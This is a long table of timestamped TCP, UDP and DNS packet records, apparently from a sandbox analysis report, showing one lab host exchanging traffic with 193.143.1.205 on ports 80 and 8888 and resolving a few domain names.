Jan 10, 2025 22:51:42.426471949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426489115 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426498890 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.426503897 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426533937 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.426580906 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426593065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426604986 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426619053 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426621914 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.426632881 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426649094 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.426673889 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.427134037 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.427155018 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.427189112 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435082912 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435098886 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435127974 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435138941 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435143948 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435183048 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435240030 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435255051 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435287952 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435288906 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435340881 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435357094 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435378075 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435391903 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435404062 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435427904 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435518980 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435542107 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435553074 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435564995 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435574055 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435590029 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435602903 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435641050 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.435656071 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435678959 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435692072 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.435714960 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.451395035 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451416969 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451427937 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451446056 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.451451063 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451463938 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451478958 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.451502085 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.451533079 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451545954 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451582909 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.451613903 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451626062 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451662064 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.451692104 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451704979 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451742887 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.451771975 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451785088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451797009 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451818943 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.451895952 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.451932907 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514348030 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514381886 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514403105 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514415979 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514429092 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514431000 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514441967 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514457941 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514467001 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514497995 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514509916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514512062 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514524937 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514534950 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514539003 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514561892 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514621019 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514661074 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514683962 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514695883 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514727116 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514744997 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514826059 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514838934 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.514863014 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.514996052 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515007973 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515034914 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515037060 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.515053988 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515068054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515077114 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.515081882 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515095949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515103102 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.515142918 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.515193939 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515355110 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515367031 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515378952 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515392065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515393019 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.515404940 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515414000 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.515422106 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515446901 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515448093 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.515460014 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515474081 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.515495062 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.515510082 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516088963 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516103029 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516114950 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516145945 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516256094 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516268969 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516280890 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516299963 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516321898 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516498089 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516511917 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516522884 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516536951 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516547918 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516551971 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516566038 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516575098 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516578913 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516592026 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516601086 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516604900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516618013 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516627073 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516633034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516655922 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516798019 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516832113 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516859055 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516871929 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.516904116 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.516997099 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517009020 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517020941 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517035961 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517035961 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517066956 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517254114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517271996 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517287016 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517299891 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517309904 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517314911 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517328978 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517333984 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517342091 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517355919 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517364979 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517384052 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517402887 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517499924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517539024 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517592907 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517613888 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517627954 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517651081 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517731905 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517745018 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517755985 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517769098 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517769098 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517793894 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.517975092 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517987967 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.517993927 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.518033981 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.518037081 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.518038988 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.518044949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.518050909 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.518094063 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.518224955 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.518241882 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.518256903 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.518281937 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.519665003 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.519694090 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.519720078 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.523880959 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.523911953 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.523925066 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.523931026 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.523950100 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.523961067 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.523972034 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.523989916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.523993015 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.524002075 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.524024963 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.524040937 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.524054050 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.524096966 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.528789997 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.528805971 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.528820038 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.528844118 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.574441910 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.794168949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.794238091 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.796957016 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.801882029 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.801897049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.801920891 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.801933050 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.801949978 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.801954031 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.801965952 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.801975012 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.801981926 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802002907 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.802079916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802092075 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802105904 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802126884 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802134991 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.802138090 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802150965 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802160025 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.802165031 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802180052 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802192926 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.802195072 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802207947 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.802236080 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.802427053 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802458048 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802470922 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802485943 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.802491903 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.802531004 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.812809944 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.817781925 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817805052 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817819118 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817831039 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817845106 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817857981 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817862034 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.817866087 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817909002 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817910910 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.817922115 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817945004 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.817982912 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.817995071 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818008900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818020105 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818041086 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818133116 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818145037 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818157911 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818171024 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818183899 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818200111 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818201065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818223953 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818242073 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818269014 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818280935 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818291903 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818309069 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818382025 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818397999 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818409920 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818423033 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818423033 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818435907 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818444014 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818449020 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818461895 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818474054 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.818475962 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.818497896 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.871345997 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.974801064 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.982434988 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:43.199984074 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:43.572149038 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:43.576976061 CET	8888	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:43.577060938 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:43.577322006 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:43.586113930 CET	8888	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:44.365235090 CET	8888	49711	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:44.418061018 CET	49711	8888	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:45.331439972 CET	49711	8888	192.168.2.12	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:51:56.644013882 CET	54624	53	192.168.2.12	1.1.1.1
Jan 10, 2025 22:52:08.719254017 CET	64828	53	192.168.2.12	1.1.1.1
Jan 10, 2025 22:52:32.797270060 CET	53928	53	192.168.2.12	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:51:56.644013882 CET	192.168.2.12	1.1.1.1	0xf9bb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:08.719254017 CET	192.168.2.12	1.1.1.1	0xd46c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:32.797270060 CET	192.168.2.12	1.1.1.1	0x6a4e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:54.699253082 CET	1.1.1.1	192.168.2.12	0xbede	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
